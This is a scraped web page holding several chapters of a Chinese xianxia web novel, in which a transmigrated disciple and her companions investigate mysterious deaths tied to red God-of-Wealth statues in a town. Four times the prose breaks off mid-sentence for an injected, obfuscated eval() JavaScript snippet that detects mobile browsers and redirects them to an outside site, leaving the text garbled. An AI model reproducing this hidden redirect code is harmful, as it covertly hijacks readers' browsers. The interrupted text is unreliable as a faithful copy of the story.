一人一统对话间,她已经回到了万仞峰,迎面走来一人,见她后颇为自来熟地道:“哟,这不是掌门师弟座下的首席大弟子嘛!”
此人正是谢长渊。他摇着折扇,硬是摇出了一股风流气韵,笑道:“我正要去找你,不想竟是这样巧,也罢,省了我一番力气。”
随着他的话,一个闪着金灿灿光芒的任务框出现在江清月视野内——
【三川镇频出怪象,到底所为何事?是何方妖孽使得城内众人担惊受怕?一切的一切,都等待你去解答!只需点击同意按钮,即可知晓所有秘密!你还在等什么,快来试试吧!】
【是否接受?】
任务框最下面是一个绿色的“是”,和一个红色的“否”。
江清月被这土中带潮的任务框震得鸡皮疙瘩掉了一地——这活像不良网站小广告的命名方式是要闹哪样?
她记得一百年前系统总部不是这样的!难不成系统内部是有刚从震惊部下岗再就业的吗?系统你一百年就升级了这么个玩意?!
还有你——八戒,你怎么变成发布任务的NPC了???
谢长渊继续道:“不过你师尊不去,因为他要闭关……啧,做掌门真是累得很,好在我有先见之明。行了,两日后出发,你这两天收拾收拾,别迟到了!”
想来之前纪行云和谢长渊神神秘秘的,讨论的就是这件事。
系统:【有句古话怎么说的来着……瞌睡来了就送枕头!这下就不用宿主找理由下山啦,是不是特别棒?】
江清月心里想着另外一件事,随口应了两下,系统便也乐颠颠地缩回脑海去了。
她一面向自己寝殿走,一面扭头看那扇紧闭的屋门,见其并无打开的迹象,心中不由松了口气。
她现在面对纪行云还是有一丝尴尬,能暂时见不到他自然是合心意,只不过……纪行云闭关修炼的频率是不是太高了点?
仅仅是她得知的都有三数至多……他的修行会不会出什么岔子了?
但问系统,也什么都问不出来,说来说去只有一句【剧情崩坏,数据乱套,系统也不知,请宿主自行探索。】
——这破系统有什么用!
在等待任务开始的两天,江清月又仔细将那个闪着耀眼光芒的金色任务框翻来覆去看了几遍,可看来看去,除了知道即将要去的城镇叫什么名字,其他一概不知,更不用说将要面对的是何等妖魔了。
江清月叹了口气,诚心的希望系统能少干那些屎盆子镶金边的事,多在正经事上升升级,她现在做任务简直跟睁眼瞎没两样。
但无论怎样说,下山除妖的那一天还是如期而至。
一般来讲,下山除妖这活动,都是些刚刚获得本命灵剑、或是需要真实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447486|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作战经历提升修为的宗门弟子才会参加。
本意是历练弟子,并不需要长老峰主等重量级的人出马。
正如她刚醒来时见到的天启宗众人,便是由孟今朝这个大师姐带领,一同前往雁府降妖除魔。
所以,在马车中看到魏音尘的那一刻,江清月是有些懵的。
魏音尘身着昆仑山派的统一校服,腰间佩着玉牌,其余外并无其他配饰,此刻正端坐在马车中闭目养神。那柄重剑则被她靠放在一旁,瞧起来颇具存在感。
听到撩开车帘的细微动静,她缓缓睁眼,同门边江清月对上了眼神。
魏音尘:“……”
江清月:“……”
江清月一把放下车帘,噔噔噔后退几步,来到正在指挥后勤弟子搬行李的负责人旁边,拍了拍那人的肩膀。
负责人转过来,露出一张疲惫的脸,他翻了翻手上的记簿,有气无力道:“您有什么事吗?”
见他这幅尊容,江清月都有些不好意思了:“请问是不是安排错了?我的马车里面怎么会坐着魏仙师?”
她还有一句话没问出来——以魏音尘这个咖位的仙师,怎么还会跟着去一个小小的下山除妖呢?
“没错的。因为魏仙师突然要求加入,但我们又没有准备足够的马车,只能安排两位仙师坐一起。”
放眼看过去,确实只有她坐的这架马车最为豪华,可堪堪够得上一介峰主出行的阵仗。
那后勤弟子面如菜色,看起来被各种大事小事烦的不轻,江清月也不好再去为难他,心里盘算着不如换一辆马车坐。
只是还未付诸行动,便听魏音尘的声音从车帘后飘出来,带着冷冷的冰碴:“上次的账我还没跟你算,敢换马车你就死定了。我不说第二遍,上来。”
江清月:“……”
这人是有读心术吗?怎么她还没开口,就知道她想要做什么?
她权衡了两下,确定自己现在还是打不过魏音尘,便十分识时务为俊杰地上了车。
马车走的还算平稳,但江清月心内却是一摇三晃。
原本以为桃林一别,魏音尘早已将她忘在了脑后,却不想仅靠方才短短一瞥,便认出了自己,还点名要和她坐同一辆车。
不会真是要和她算账吧?
难不成如那群小弟子所说,桃林的树底下埋着不能见人的东西?所以现在要杀她灭口?
——哎呀,怎么可能!真是听八卦听傻了!
刚起了个念头,江清月便摇摇头,甩掉脑中天马行空的想象。
自方才上车,她便一直眼观鼻鼻观心装作自己不存在,可直到行至半路也没见魏音尘出声翻旧账,这才故作不经意地将眼神扫到她身上。
此刻,魏音尘正靠在背后的软垫上闭目养神,闭上眼睛的她褪去了那股逼人的锐利,与江清月回忆中的小师妹更像。
江清月越看心越痛——这一百年的时光到底带来了什么,你还我那个天真可爱的小师妹!
“看够了没有?再看我就把你的眼珠挖下来泡酒喝!”不知何时,魏音尘已经睁开了眼睛,正冷冷地盯着她。
听到这充满杀气的警告,江清月更是内心流下两条宽面条泪——实在是太凶残了!
19. 夺命财神1
三川镇处于永嘉地界,距离昆仑山派不远,很快便到了。
下了车,江清月原本以为会看到一派惨淡,没想到入目的却是一片祥和乐景。
长街上热热闹闹,两侧的铺面小摊都支起了架子,上面摆着琳琅满目的吃食和各种稀奇的小玩意。
几排大红灯笼挤挨着挂在檐下,此时正值午后,那些红灯笼并没有点亮,但一眼瞧去也很是喜庆热闹,与飞花镇的死寂完全不同,一点也看不出来哪里需要帮助。
江清月眯起眼睛,目光扫视一圈,什么奇怪点也没发现,反而是他们这群人在其中更显得格格不入。
这时,一名体型宽胖的中年男人拨开人群,向众人的方向赶来,许是跑的急,他额上满是凝出的汗珠。
“各位仙师!”那人气喘吁吁地在众人面前停下,“可算把诸位仙师盼过来了!诸位,此事复杂,请先去小民府上喝碗热茶,咱们细说!”
的确,一味杵在长街中央也不是个事。由于他们都身着统一的青衣校服,姿容也明显异于常人,已经有镇民看他们面生,不住地往这边看着指指点点了。
魏音尘身为带领人,对村长略略一颔首道:“有劳。”
于是,众人便跟在那名中年男人身后一同前往。
此人自称是三川镇的村长,在赶路途中,众人也逐渐从他的口中得知了今日镇上发生的数件怪事。
一开始,是一个老光棍突然暴富了。
这老光棍是三川镇里有名的泼皮无赖,平日里爱好赌钱喝酒,结识了一大群酒肉朋友,原本父母留下的家当积蓄都被他丢在了赌桌上。
且他极好面子,不肯服输,即使全身上下赌得只剩一条裤子也不肯下赌桌,最后因实在交不出赌注,被赌坊的伙计们一起丢出了门。
可出乎众人意料的是,不过短短三天,他便又一次出现在了赌桌上,且全身穿金戴银,豪横无比,就算输了几十两银钱也眼都不眨!
往日里那些酒肉朋友又都围了上来,笑嘻嘻的与他勾肩搭背去喝酒,期望着能从他嘴里盘问出来突然暴富的原因。
那老光棍拍拍自己鼓囊的钱袋,醉醺醺一句囫囵话也说不出来,只是大着舌头道:“我心诚!心诚……嗝!我就该有钱,我就是有钱的命!”
结果有一天,他突然在赌桌上暴毙了。
毫无缘由。
众人疑心是他的酒肉朋友眼红,合起来谋财害命,但由于找不到切实证据,便不了了之,成了三川镇的一桩悬案。
第二则怪事,发生在一对小夫妻身上。
这夫妻俩从小便是对门,青梅竹马一同长大,也对彼此许下了相伴一生的诺言。
可令众人没想到的是,二人竟只是幸福了一个晚上——第二天一大早,那新郎官被发现死在了床上。
且死状凄惨,身上流出来的血将半张床都浸透了。
至此,喜事变丧事,昨日还搭着红绸的房子此刻又披上了白布。
中年失子的铁匠家父母受不了打击,竟是有了跟着去的念头,好在其他邻居发现及时,被救了下来。
那新娘子受此惊吓更是吓得三魂丢了七魄,很少有清醒的时候,旁人问什么,都只会傻笑。
同样的,这一桩怪事也找不到是何人所为。
此后,三川镇的怪事便时有发生,源源不断。
村长皱着眉头,一脸苦相:“原本是不打算叨扰各位仙长的,只是实在是应付不下去了。这几个月,镇上已经有不下十人以各种离奇的方式去世,诸位仙长,你们说这也找不到是何人所为,会不会什么是妖魔鬼怪?”
魏音尘沉声道:“请您放心,昆仑山派定会将幕后作乱之人抓出来,还你们一个公道。”
“哎,哎好!多谢各位仙长!”
“……”
下山除妖毕竟还是主要还是锻炼弟子,魏音尘只起到一个督促兜底的作用,所以众人听了个大概后便主动退出了厢房。
若是想要解决问题,必须要深入敌情,而不能只靠书面信息。
江清月刻意走慢几步落在众人身后,趁着其余人没注意,一闪身选了一条与众人不同的小路。
系统:【宿主,您怎么不跟着大家走?】
江清月道:“这不是为了跟你秘密交谈吗?好了好了,不说其他,讲正事——我觉得三川镇有点奇怪。”
系统抢先道:【我知道我知道!死了这么多人,肯定奇怪呀!况且系统总部都说啦,这里有妖魔作祟!怎么样,宿主我很聪明吧?】
江清月:“……”
【宿主您怎么不理我?】
江清月抹了把脸,勉强将奔腾而去的思绪扯回来:“我的意思是,意外死去的这些人很奇怪。你瞧,他们有的是赌徒,有的却是新婚夫妻……完全没有一点相像的地方……为什么这妖魔偏偏选中了他们?有何缘由?”
系统听了半天,一句也没听懂,更不用说回应她,如果它有实体,眼睛必然已经成了两个不停旋转的圈圈。
江清月却没像往常那样逗它,她眼神向后甩去,扬声道:“谁?偷偷摸摸跟着我做什么?”
几息之后,从拐角阴影出走出一个人影。他身上穿着统一的昆仑山派校服,见自己暴露了,面上却没有一丝惶然,只是行礼道:“师姐,弟子落单了,可否结伴一同探查?”
下山除妖的弟子数量不少,由于来自于不同峰,个人的性格和处事方式也不尽相同,所以常有弟子找不到同伴,只能现场随便找一个合眼缘的相互结伴一同探查。
这是常有的事情,她之前也见过不少,只是从没答应过。
待看清他露出的脸,江清月面上表情有一丝微妙——这陌生弟子的脸很是清秀,低眉顺眼的很是乖巧,一点也看不出来偷偷跟踪别人的样子。
而且,仔细看去他眉眼的走向竟还有几分像纪行云。如此这般,竟像是稚嫩些的纪行云在唤她师姐。
她心里很微妙,面上对那陌生弟子的态度也和缓了些。
“可以,一同走吧。你叫什么名字?”
不知是不是她的错觉,总感觉在她答应的那一瞬间,那陌生弟子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447487|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的眼中像是闪过一丝沉郁,但待她仔细看去时,却好像只是错觉。
他抿出一个乖巧的笑:“弟子名叫,嘉明。”
听他细细讲明了是哪两个字,江清月略略一挑眉——嘉明?假名?
这不是明摆着告诉她这人身份有问题吗?
不过……这个名叫嘉明的弟子虽是奇怪,但她没在他身上感觉到杀意。
也罢,只是个同行的伴,江清月不认为他能伤害到自己,她有这个自信。
二人一同沿着小路向前,直到拐过几个弯走到长街上,嘉明都没再开口说一句话,只是默默低着头跟在江清月身后。
江清月一开始还留着一丝心神防着他,后面见他没动静,便也暂且放下了防备。
长街上还是一如既往的热闹,那十几桩惨案仿佛从未影响到三川镇的其他人,他们面上洋溢着笑容,互相问候邻居安好。许是到了饭点,家家户户的上空都飘荡着炊烟,空气中弥漫着饭菜的香气……和香烛的味道。
江清月又嗅了嗅,确定自己没闻错,的确是很浓郁的香烛味,夹杂在饭香中,混杂成一股格外奇特的味道。
哪来的?
这时,旁边的小巷中传来一阵嬉笑声,其中还夹带着不怀好意的起哄声:“小娘子,你就从了我吧!瞧你长得细皮嫩肉的,要是没有男人保护可怎么得了?啊哈哈哈哈!”
闻言,江清月眉头一皱,脚下方向一转向着小巷里走去。嘉明乖乖跟着走,像个小尾巴一样缀在她身后。
小巷内,一个肥头大耳,膀大腰圆的粗犷汉子挤在一个女子面前,搓着手嬉笑道:“来,让大爷摸摸你的小手,看看嫩不嫩滑不滑?”
跟着他的几名小跟班登时跟着发出猥琐的笑声。
那女子被他们围在中间,面容上却一丝惊恐都没有,反而面带微笑。她眼睛紧闭,双手合十,口中念念有词,像是听不到这些污言秽语一般。
其中一名跟班道:“老大,你还跟她说这些干啥!这小娘子痴痴傻傻,一看就不会反抗!咱们不如趁机办了她!”
“滚蛋!先礼后兵知道是啥不?没读过书的玩意!”那大汉骂道,却被他说的动心,往那女子面前凑了凑,就要去抓她的手,“美人,你叫破喉咙也不会有人来救你的,你就从了我吧嘿嘿嘿……嗷!谁?!”
一道绿影擦着他的面颊闪过,钉在地上发出铁器一般的响声。
他猛地缩回手,嚎叫不止:“谁敢偷袭我?是谁?哪里来的暗器?你们看到没有?”
被指到的小跟班们纷纷摇头。
众人惊异地看向地上,那深深插进土中的并不是什么暗器,而是一枚翠绿的叶片。
“老……老大……好像是片叶子!”
“叶子?谁用叶子偷袭我?躲在暗处偷袭算什么本事?出来一决高下!是男人就给我出来!!!”
随后,在众人惊诧的眼神中,那枚深深钉在地上的叶片,像是受到召唤一般,“簌簌”颤动着拔地而起,落在一个白衣女子手里——
“是我,你不服吗?”
20. 夺命财神2
江清月的手指修长白皙,夹着那枚翠绿的叶片在指尖翻转,看起来简直是一种享受。
她立在树旁,好整以暇地看向几人:“还真是不巧,我就是破喉咙,方才谁叫我来着?现如今我已来了,你想说点什么?”
她这一番别出心裁的出场方式,属实是让没见过世面的一群小流氓们震了一震。
一人自以为很小声地道:“还真有人叫破喉咙,这么奇怪的名字?”
另一人被他气个倒仰,恨不得跳起来给他一拳:“你傻呀,看不出来这是挑衅?”
那大汉起先也是一惊,待看清江清月的面容,确认她是名女子,又恢复了方才的猥琐面容,嘿嘿笑道:“我还以为是谁呢,原来也是个美人……脸长得挺好看,性子倒烈,不过我就喜欢烈的!够劲儿!”
他将脸颊和手背上划出的血丝草草在衣服上一擦,一脸不怀好意地朝江清月移动:“想和哥哥们玩就直说嘛,何必耍这些小手段吸引我们的注意力呢……嗷!又是谁?!”
只见一道绿色身影从江清月身后闪出,正是嘉明。
他眼睛里仿佛冒着火,也不废话,伸手拽下树上的数片叶子,翻手便向着那群人甩去!
与江清月那带着警示意味的手法不同,他射出的叶片都裹挟着强烈的杀意,片片似钢刃,将那群人削得鬼哭狼嚎。
“嗷!疼疼疼!我的手!流血了!”
“我的屁股!”
“兄弟们,好汉不吃眼前亏!撤!!”
眼瞧着嘉明还要再扯叶子,那群流氓吓得屁滚尿流,飞快逃离了小巷,速度之快像是后面有鬼在追一般。
一通闹剧过后,端坐在风暴中心的那名女子身上却是一丝血痕都没有,仍是闭着双眼,口中念念有词。
江清月抬手撤下围在她身侧的保护罩,侧目看向嘉明。
他的手上还夹着几片翠绿,似是气得狠了,连那夹着绿叶修长削瘦的手指都在微微颤动。眼睛被怒火烧得明亮非常,像是含着层薄薄的泪水一般。
这副模样,倒是比之前沉闷不言语时生动许多。
江清月好笑道:“怎么生这样大的气?”
嘉明声音闷闷的:“他们,他们说的那些话……”
“他们说的话并不能代表什么,我们都知道那是假的,别被他带偏了思维。”江清月看着他,“不过……这位小师弟你有点太冲动了呀,这里还有一个无辜人呢,方才若不是我布下防护,她岂不是要被你误伤了吗?”
接着,她故作苦恼的皱了皱眉:“况且你就把他们这样赶跑,实在是太便宜他们了。他们方才说了污言秽语,可还没对别人道歉呢。”
闻言,嘉明愣住了:“那,那我去把他们再抓回来!”
瞧着他一转身就要走,江清月终于憋不住破功,“噗”的一声笑出来。在他有点迷茫的眼神中,没忍住手痒,伸手摸了摸他柔顺的黑发。
“好啦好啦,逗你的。对付这种坏人,武力震慑是必要的,你做的对。只是下一次一定要顾及在场的其他人,不可肆意行事,知道吗?”
嘉明将脸侧到一边,几不可察地点了点头。
江清月心情颇好地摸了两把,便收回了手。
她此举是有些孟浪了,二人相识不过几个时辰,她便直接上手摸头。若是有旁人在场,定是要喊着“伤风败俗肃清风纪”将她扭送进昆仑山派戒律堂,不受完三千戒律就不许她出大门一步云云。
想来嘉明也是被她的举动惊得呆愣在了原地,她方才摸的时候还以为自己在摸假人,一点反应都没有。
不过摸都摸完了,江清月也没打算再去细察他内心的想法,转身便向那名坐在屋前的女子走去。
从方才的那几件事情,可以看出来这名女子的反应很不正常,甚至可以说是情感缺失,无论周围发生什么事,她都是一副淡淡的样子。
江清月站在她面前,试探着张开手掌对她挥了挥——果不其然,不理她。
这种表现,倒是很像三川镇村长口中的一个人——那桩夫妻受害案中的妻子。
据村长所言,当日的情景不是“惊悚可怖”一个词可以概括的。
三川镇娶亲不讲究床上铺红毯盖红被,一切只要合情合理、合二位新人的心意就好。
可待新婚后的第二日再去看,整间屋子都弥漫着血色,不消说床榻,就连地上摆放的桌椅板凳都浸染了一层不详的红。
昨日还与满座高朋相互举杯庆祝、气宇轩昂的新郎官,如今却像是没骨头一般瘫软在床榻间。
不,不是像……他全身的骨头和筋脉都断了,根本没有力气支撑他站起来。嶙峋的断骨扎破皮肤,像是一座座临时搭起来的桥那般,将血肉源源不断的送出体外。
那样的场景,说是炼狱也不为过。
比其他人先见到这副炼狱之景的人,是他的妻子,李月桃。
从那以后,她便疯了。
往日里能说会道的李家姑娘,在大喜大悲后成了痴傻儿,无论别人对她说什么做什么,都只是低着头一言不发。
起先人们很是怜悯她,说她既没了父母,又没了丈夫,眼下也无子女,娶亲剩下的礼钱也全都充当了丧葬费……没有人可依靠,也无钱财傍身,接下来的数十年光阴她该如何度过呢?
可人的善心终究是有限的。
由于他们释放善意的对象是个痴傻的姑娘,好心的邻居们不仅得不到感激,反而还要背负着其他人的道德绑架——
“你们从小看着李家姑娘长大,她也算是你们的半个女儿,这样做也是应该的。”
“既然你们现在管着她,以后也不能丢下不管!不然她的命不就断送在你们的手里了吗?”
“……”
窸窸窣窣,铺天盖地的言论压过来,那些好心的邻居咬牙坚持了两年,终是经受不住,一家接一家地搬离了这条小巷。
现如今,这条巷子里也就只有李月桃和几家新搬进来、不明前因的住户。
所以,那些流氓才会如此肆无忌惮——因为在意李月桃的人都不在了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447488|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>江清月低头看着一脸空白的李月桃,叹了口气。
她蹲下来,凝视着李月桃无神的双眼,唤她:“李姑娘?李月桃姑娘,你能听到我说话吗?”
长久的沉默。
嘉明静静地站在树下,隔着流动的空气和夕阳隐约的光,凝视着那个背对着他的身影。
他的眼珠又深又沉,其间还隐约透着一点猩红,这样一双眼睛安在他略显稚嫩的脸上,显得违和感极强。
视线向下扫动时,薄薄的眼皮会遮盖住他露骨的视线,将那股违和感稍稍冲淡,显出一点温和的少年气。
可抬眼时,方才刻意忽略的视线便会再次黏在那个不设防的背影上,将其从头到尾、一寸一寸地扫视过一遍,像是要用目光将其牢牢地记在脑海里,永永远远不忘记。
江清月搓了搓手臂,狐疑地看看四周——又来了。
那股熟悉的,让人难以忽视的被注视感……
是谁?
在场的人就只有她们三个,李月桃自然是不必说了,至于嘉明……
她向后望望,嘉明还站在树下,正低头摆弄着手中的绿叶,瞧起来倒是颇为乖巧。
环顾过一圈,没发现可疑人员,江清月摇摇头将这丝疑虑暂时放下,重新将注意力放在面前的李月桃身上。
她很有耐心,一遍又一遍地呼唤李月桃的名字:“李姑娘,我是来帮你的,你能听到我说话吗……我可以去你的房子里看一看吗?”
这时,一直闭着双眼念念有词的李月桃,忽然抽动了一下面颊,一滴泪珠随着她的动作从眼角滑落,在腮边留下一道浅淡的水痕。
“好,我明白了,谢谢你。”
江清月抬手将那泪痕擦去,随即站起身,对还站在树下的嘉明招了招手:“过来!”
说完这句话,江清月短暂反思了一下自己——这句话说的是不是太像逗小狗狗的了?我要不要加个礼貌点的修饰词?
可等她好不容易反思出个结果,抬眼一瞧,嘉明已经过来了,正安静地站在她身侧。
江清月:“……”
她默默地将新的召唤语咽了回去。
如今李月桃所住的房屋,不是当年血流成河的婚房。
由于发生了这样的恶劣事件,那间婚房已经被村长找人推倒重建了,只是现在还没有人敢住进去。
这件房子说大不大,但作为一人居所也足够。内里没有什么复杂的家具,只有一张床,一个桌子,两个椅子,外加堆在墙角积灰的一大团杂物——这就是李月桃拥有的所有东西了。
江清月绕着这些简单的家具转了两圈,为确保不遗漏一丝疑点,她还接了嘉明递过来的搜妖符。
虽然这搜妖符皱皱巴巴,看起来像是在囊袋里压箱底放了一百年,今天才重见天日……可有总比没有好。
但出师不利,这搜妖符贴在上面,就像是普通纸片一般,一点反应都没有。
将屋内家具全部试过一遍后,她把眼神放在了唯一一个没探查过的地方——墙角的杂物堆。
21. 夺命财神3
墙角杂物上蒙着一块灰扑扑的布,将所有杂物都遮盖了,看不见下面具体有什么东西。
见江清月的视线落在上面,嘉明上前几步一把掀开了遮挡,登时,灰尘漫天飞舞。
江清月皱着眉头扇了两下,走上前去,呈现在她眼前的是各式各样的小玩意,粗略看去净是些烛台,线香、甚至还有几张褪色的大红囍字……瞧起来像是结婚用剩的东西。
她的眼神在其中扫了几下,很快凝在了其中一处。
那是一尊财神像。
“……是陶泥做的,内部空心,倒是不重。”江清月摆手拒绝了嘉明的动作,自行拿起细细打量。
这神像表面光滑,没有一丝磕碰破碎,双眼紧闭,唇角微弯,看起来倒是一副慈眉善目,宜喜宜嗔的神面。
只是这神像身上所漆的颜料实在是红的刺目,那一份慈与善便被邪气盖了过去。
在一众或是褪色或是破损的物件中,这抹鲜亮非常的颜色便变得分外吸人眼球。
甚至无端让人身上起了一身鸡皮疙瘩。
嘉明眼中一丝晦暗转瞬即逝,又恢复了毕恭毕敬的语调:“师姐,这东西有古怪。”
闻言,江清月眉头一挑,没回应他的话,而是第一时间和脑中的系统确认道:“你真不认识这人是吧?”
系统奇怪道:【对呀,怎么了宿主?】
江清月道:“我还以为他和你是从同一个语言学院进修出来的!瞧这话说的,这么邪门的玩意儿能没古怪吗!”
系统艰难思考了一下:【……宿主,您是不是在骂我呢?】
江清月一点被拆穿的窘迫都没有,挑眉道:“我没有啊,这是你自己说的——不对,等等。”
她收起笑意,面上有些凝重。
搜妖符遇魔气则燃,可如今——那张皱巴巴的搜妖符躺在她手心,一点要燃烧的意思都没有。
见此,嘉明上前两步,眉心皱起:“怎会如此……”
江清月也是满腹疑窦——这看起来就邪门的神像上竟然一丝魔气都没有?!
又将神像翻来覆去看过一遍,她模模糊糊中感觉有什么被忽略掉了,可又暂时回想不起来。
就在这时,屋外传来一阵喧闹,其中竟还伴随着丝丝灵力波动。
江清月神色一凛——发生何事了?难不成是找到了幕后黑手?
二人对视一眼,便向着门口走去。
只是还没跨出门,便被李月桃拦住了去路。她挡在门前,双眼紧闭,面颊上却有两行泪痕,口中喃喃念着听不清的话语。
江清月道:“李姑娘,我们有急事!能不能让我们先出去?”
可李月桃仿佛又变回了那个听不懂话的痴傻儿,无论江清月说什么,都不言不语,只是一味地拦住二人。
嘉明眸光一闪,冷声道:“师姐,何必与她废话。她不让,我们便是强行离去,她又能如何?”
“她是不能怎么样,只是小师弟你这个性格得改一改,”江清月转身看向嘉明,拧眉道,“你太容易被周围的任何事物干扰,心绪波动过大,这可不利于修炼。”
“……谢师姐教诲,弟子知错了。”
嘉明低着头,她看不清他的表情,只是他的声音里带着些颤抖,像是委屈,又像是撒娇。
江清月叹了口气,也歇了斥责他的心思。
面前的拒绝沟通,身后的又气到颤抖,江清月深吸一口气,觉得自己像是调解幼儿园小班同学纠纷的育儿师。
这一番深呼吸,倒是让她的头脑清明了些,看着仍还堵在门前的李月桃,她心念一动,从袖中掏出那个陶泥神像,试探道:“你是不是想要这个?”
奇怪的是,李月桃竟是真的平静了下来。她伸手,慢慢摸索着,想将神像搂在怀里。
那珍惜的动作,好似她面前不是尊泥塑的神像,而是块值钱的宝贝金疙瘩。
江清月心头划过一丝异样。
这时,屋外又传来一声巨响,比上一次更大,仿佛是房屋轰然倒塌在地,期间还夹杂着几声尖叫。
江清月登时也顾不得其他,将神像往李月桃怀中一塞,便夺门而出。
嘉明落后她一步,他扫了紧紧搂着神像的李月桃一眼,步伐顿了顿,随即快步追了上去。
待二人到了目的地,江清月差点眼前一黑晕过去。
无他,这场景实在是有点太凶残了!
长街上,放眼望去全是人,但却杂而不乱,十分齐整地围成一个圈,满眼惊恐地望向中心站着的那抹身影。
圈内,除了那个提着重剑的身影外,仅剩半堵红墙仍坚强的矗立在原地,至于其他部分,早已碎成渣渣撒了一地。
空气中尘土飞扬,众人安静如鸡,场面竟是意外的和谐。
——和谐就有鬼了!!!
她们不是走除魔卫道路线的吗?
魏音尘你怎么拿了拆迁大队的剧本?
这对吗?!
满场寂静中,村长疑惑的声音传进来:“都围在这处做什么,发生何事了?咳咳,好呛人的烟尘!各位仙长,这是发生何事了?房子怎么塌了?”
他问了一圈,没人理他,正纳闷时,魏音尘边擦剑边开口道:“是我干的。”
“原来如此,那小民就放心……咳咳咳,仙长您说什么?”
在村长惊天动地的咳嗽声中,魏音尘十分平静道:“是我干的。”
……
“事情就是这样,”一名弟子语气颇为歉疚,“实在抱歉,请问这栋房屋的主人是哪位?我们会赔的。”
村长擦了擦额上的汗,连声道:“不用不用!不用赔!怎么好麻烦仙长!实不相瞒,这座房子早就没人住了!”
说到最后,他压低声音:“这便是小民同各位仙长说过的那一家……那家新婚夜死人的……”
江清月没往众人面前凑,她站在一旁,看着魏音尘面无表情地走到隔壁房屋前,淡声道:“可否让我检查一番?”
“请……请请请!”隔壁住的是户年轻男子,他面上努力想堆起一个笑,但怎么看都比哭还勉强,躬着腰将魏音尘迎进屋内。
“有劳。”魏音尘没看他,略一颔首,便直接踏了进去。
江清月没跟着进去,眼神在周边的残垣断壁上转了一圈,又落回到那个哭丧着脸的年轻男子身上。
据在场村民弟子所言,方才那人可不是这副表情——
“滚滚滚,从哪来的滚哪去!你们以为披上一层好衣裳就是什么万民敬仰的人物啦?我呸!一群招摇撞骗的人敢骗到你爷爷我身上,不想活了是吧??”
面对他的辱骂,弟子们面红耳赤,但还是尽力解释道:“我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447489|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
探查到你的房子里有魔气,为了你的安全,还是让我们进去检查一番吧。”
这年轻男子是三川镇里有名的地痞流氓,最是欺软怕硬,见弟子们频频退让,他更是得意:“若你们实在想进,也行——先交二十两银子充当进门费吧!”
闻言,弟子们面面相觑。
一弟子挣脱其他人的阻拦,上前与他对骂:“你这人真是不识好歹!我们是奉村长之托来三川镇除魔,你快些让开!”
年轻男子道:“我那屋子里可是供奉着最最灵验的财神!若是你们随手一碰惹恼了财神,坏了我的财运,谁能赔得起?啊?”
弟子们哪里见过这等泼皮无赖之人,纷纷被他的一顿胡说八道惊得不知该作何反应,直到魏音尘闻讯赶来才结束了这场闹剧。
江清月看看如今低眉顺眼的年轻男子,又转头看看一脸正气的诸位昆仑山派弟子,最后落在在嘉明的身上。她暗自叹了口气——看来,只是教授弟子们如何降妖除魔的仙术不够,还需要在宗门内开设几门新课程……《语言的艺术》和《如何控制自己的情绪》好像不错?
正在江清月为昆仑山派的未来忧心时,魏音尘已经从屋内出来了。
她手中抓着一个颜色鲜红的物件。
江清月打眼一瞧,愣住了——那竟是一尊财神像,且与李月桃家的长得一模一样!
魏音尘一手拿着神像,另一手拿着重剑,对众人颔首道:“先行一步。”
“等等——”
此言一出,众人纷纷倒吸一口凉气——这人是嫌命太长了吗?
百年以来,这是第一次有人胆敢阻拦魏音尘。
她实力强劲,这些年来一直纵横修仙界,其中自然不乏看不惯魏音尘如此招摇、想教训她一番的人,但无一例外,这些人都没在她的重剑下走过五招。
经过众人轮番上阵,魏音尘的名号更是响亮,不消说普通修士,甚至连各大宗门的宗主都对她礼待有加。
但这些江清月统统不知道,她也不明白为何其他人的眼神如此奇怪,其中好似含着奇怪的怜悯。
江清月直言道:“你手上的神像不是魔物,上面没有魔气。”
闻言,魏音尘果然转身。
她微微皱眉,瞧了瞧神像奇诡的颜色,眼神里是很明显的不相信。
江清月:“……”为什么你也以貌取物!
江清月道:“我和一位师弟方才也见过同样的红色神像,但搜妖符放上去并无反应。”
说着,似是要让魏音尘信服,她掏了掏囊袋,又将那张皱巴巴的搜妖符掏出来递到魏音尘面前。
